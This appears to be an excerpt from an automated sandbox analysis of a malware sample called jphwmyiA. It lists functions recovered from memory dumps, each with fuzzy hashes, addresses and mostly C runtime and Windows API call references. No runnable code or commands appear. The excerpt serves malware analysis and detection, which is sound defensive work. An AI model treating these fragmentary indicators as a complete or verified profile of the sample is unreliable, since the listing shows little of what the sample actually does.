Instruction Fuzzy Hash: 79C1D474E00218DFDB14DFA5D984B9DBBB2BF89304F1084A9D808AB365DB359E85CF50

Function 2503EDF8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4350d620e347e02900c62e6b067f87dbd70c3aef412a10715af8a9ae56829a
Instruction ID: bb011b1dfe071e794b76cb9ccfe254401edc32dda61ddde3e87f2beead28eb44
Opcode Fuzzy Hash: cf4350d620e347e02900c62e6b067f87dbd70c3aef412a10715af8a9ae56829a
Instruction Fuzzy Hash: CDC1D474E00218DFDB14DFA5D985B9DBBB2BF89300F2080A9D809AB365DB395E85CF50

Function 2503D840 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c1324eaa5764ecc5352e8069a8d4d3b6dcee831748e9325faf68f95b71626f
Instruction ID: fbdfa264d1ffa2a33d196c139f50badb6d76f3c023877f317be1448a461a03e5
Opcode Fuzzy Hash: c6c1324eaa5764ecc5352e8069a8d4d3b6dcee831748e9325faf68f95b71626f
Instruction Fuzzy Hash: 2CC1D474E00218DFDB14DFA5D995B9DBBB2BF89300F2080A9D809AB365DB359E85CF50

Function 2503DC98 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8827bf5f0f90464745572e4fd2e9a5a3a736f7848923910ff3154665496f5fcd
Instruction ID: 34b9362f6f6bbcd7a19953081df0740c1aac9af1d5b305b81095ae15aacf9d9e
Opcode Fuzzy Hash: 8827bf5f0f90464745572e4fd2e9a5a3a736f7848923910ff3154665496f5fcd
Instruction Fuzzy Hash: 8EC1D474E00218DFDB14DFA5D985B9DBBB2BF89300F2081A9D809AB365DB355E85CF50

Function 2503E0F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4687f469caedd507a100f4958acda43ba3340e36a305f2fa8efbc89d01a157a7
Instruction ID: e8b46030b9070eb9435706d5d4f85a016bb7d79e12e74649d5e00bfc7d6b24fe
Opcode Fuzzy Hash: 4687f469caedd507a100f4958acda43ba3340e36a305f2fa8efbc89d01a157a7
Instruction Fuzzy Hash: 52C1D474E00218DFDB14DFA5D985B9DBBB2BF89300F2081A9D809AB365DB355E85CF50

Function 2503FB00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43a433be25c5c5bc0df2a7b0ecaef1c67c62469c9fa2b4d32d8afe6f2bf2db0c
Instruction ID: 13d23109014cc9bb6897c828ed2501445cab10076446cf9b2f1f7c78123297b9
Opcode Fuzzy Hash: 43a433be25c5c5bc0df2a7b0ecaef1c67c62469c9fa2b4d32d8afe6f2bf2db0c
Instruction Fuzzy Hash: AEC1D374E00218DFDB14DFA5D945B9DBBB2BF89300F2080A9D809AB365DB399E85CF50

Function 2503CF90 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7623daa8a6b829c6e3ea7737cc5ef1ad9e837309b542ef249951bd76c716577
Instruction ID: adfb9b007666c83f81e0827728c4a800560106728cd460c431a095e7516c2d11
Opcode Fuzzy Hash: c7623daa8a6b829c6e3ea7737cc5ef1ad9e837309b542ef249951bd76c716577
Instruction Fuzzy Hash: 4DC1C474E00218DFDB14DFA5D995B9DBBB2BF89300F2080A9D809AB365DB359E85CF50

Function 2503D3E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c36143dcd2f0ecf57849da318fc8a673e3fa384be85bb98e4e34a924a1330123
Instruction ID: 4403bfbb4cc73c6c4581409aed2a1a9c1f64befac79e4dfc89dc81f6fa711518
Opcode Fuzzy Hash: c36143dcd2f0ecf57849da318fc8a673e3fa384be85bb98e4e34a924a1330123
Instruction Fuzzy Hash: ACC1C374E00218DFDB14DFA5D995B9DBBB2BF89300F2080A9D809AB365DB356E85CF50

Function 2503BE30 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da6ce29a3a3b5d9722d56a3d823009177266e25e29bca25019175d49e3054e91
Instruction ID: 5b60a09c2f3ff57aad6d35664d4e8f3af9942870bf1ff1b3b42912d5828bb081
Opcode Fuzzy Hash: da6ce29a3a3b5d9722d56a3d823009177266e25e29bca25019175d49e3054e91
Instruction Fuzzy Hash: 5BC1D574E00218DFDB14DFA5D945B9DBBB2BF89304F1080A9D809AB365DB35AE85CF50

Function 2503F250 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 263516b40a7b7d1efbe42b5df19f6f8d7fe9729c977e197f98b4f3b4af82701d
Instruction ID: 3b3818a16fc3a603969f207c1178cb45a23c85f156bf537917fd23a7bed1d543
Opcode Fuzzy Hash: 263516b40a7b7d1efbe42b5df19f6f8d7fe9729c977e197f98b4f3b4af82701d
Instruction Fuzzy Hash: 39C1C474E00218DFDB14DFA5D995B9DBBB2BF89300F2080A9D809AB365DB395E85CF50

Function 2503C288 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 985b3cd8be75397eb0fe6924b08a01345b11acefd15ba0d06a6cff605b7f9efe
Instruction ID: 5e2f19ef759f2848fbfc4f18ae75459b94d005bb68b060401dc9de5f368a8023
Opcode Fuzzy Hash: 985b3cd8be75397eb0fe6924b08a01345b11acefd15ba0d06a6cff605b7f9efe
Instruction Fuzzy Hash: 89C1D474E00218DFDB14DFA5D994B9DBBB2BF89300F2084A9D809AB365DB355E85CF50

Function 2503F6A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95fe03ce9715988cd86eb6874c3a8cee8e83eaabfcaf49b20a6a706f654e09ee
Instruction ID: 99dbaedc99a92959e292781852530413a4b632a16ea77068b7f45690e04da323
Opcode Fuzzy Hash: 95fe03ce9715988cd86eb6874c3a8cee8e83eaabfcaf49b20a6a706f654e09ee
Instruction Fuzzy Hash: 6AC1B474E00218DFDB14DFA5D955B9DBBB2BF89300F2080A9D809AB365DB399E85CF50

Function 2503C6E0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cbe2f4110cc2498fdec3eaf292a3371db90e15b1d3487cb6fb52bac74b764d7
Instruction ID: fbc673c5fc878ec04af7286a70408b5f976582ac7c6b18d46eb5a355a9b55740
Opcode Fuzzy Hash: 6cbe2f4110cc2498fdec3eaf292a3371db90e15b1d3487cb6fb52bac74b764d7
Instruction Fuzzy Hash: 03C1D474E00218DFDB14DFA5D994B9DBBB2BF89300F2084A9D809AB365DB356E85CF50

Function 250B04D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39eb23d1986a5334849114e88dbbeb14ea28933e4464b331c612c0938e39512d
Instruction ID: ab90a95d474fdb84732225f3dfd1a1745da8a73577fd108e5667bf93b209b5cd
Opcode Fuzzy Hash: 39eb23d1986a5334849114e88dbbeb14ea28933e4464b331c612c0938e39512d
Instruction Fuzzy Hash: 33C1A474E00218CFDB14DFA5D994B9DBBB2BF89300F2085A9D809AB365DB356E85CF50

Function 25045D10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a519d486dd87a37fbaaf7cc5be298ed3cda0fc0dc47c45ad219ced2bf1f6f8b0
Instruction ID: 43543976297dbaa54f60736a37969e460ca075e23a526848ffa0ff98bab6d960
Opcode Fuzzy Hash: a519d486dd87a37fbaaf7cc5be298ed3cda0fc0dc47c45ad219ced2bf1f6f8b0
Instruction Fuzzy Hash: 17C1C474E00218CFDB14DFA5D954B9DBBB2BF89300F2080A9D809AB365DB359E85CF50

Function 25043918 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23960aedebcfea0cd27389fdecfb11c585e5cdf36af707297657e363109c5572
Instruction ID: 9e7c8ea0458fc680a431173ebcb1e72e1568a7a0f71539806b0295aad481cc9f
Opcode Fuzzy Hash: 23960aedebcfea0cd27389fdecfb11c585e5cdf36af707297657e363109c5572
Instruction Fuzzy Hash: 77C1B474E00218CFDB14DFA5D994B9DBBB2BF89304F2084A9D809AB365DB355E85CF50

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,20E718E0), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.JPHWMYIA(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.JPHWMYIA(80070057), ref: 00401800
EntryPoint.JPHWMYIA(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.JPHWMYIA(8007000E), ref: 00401839
EntryPoint.JPHWMYIA(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(20E71680), ref: 00414050

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
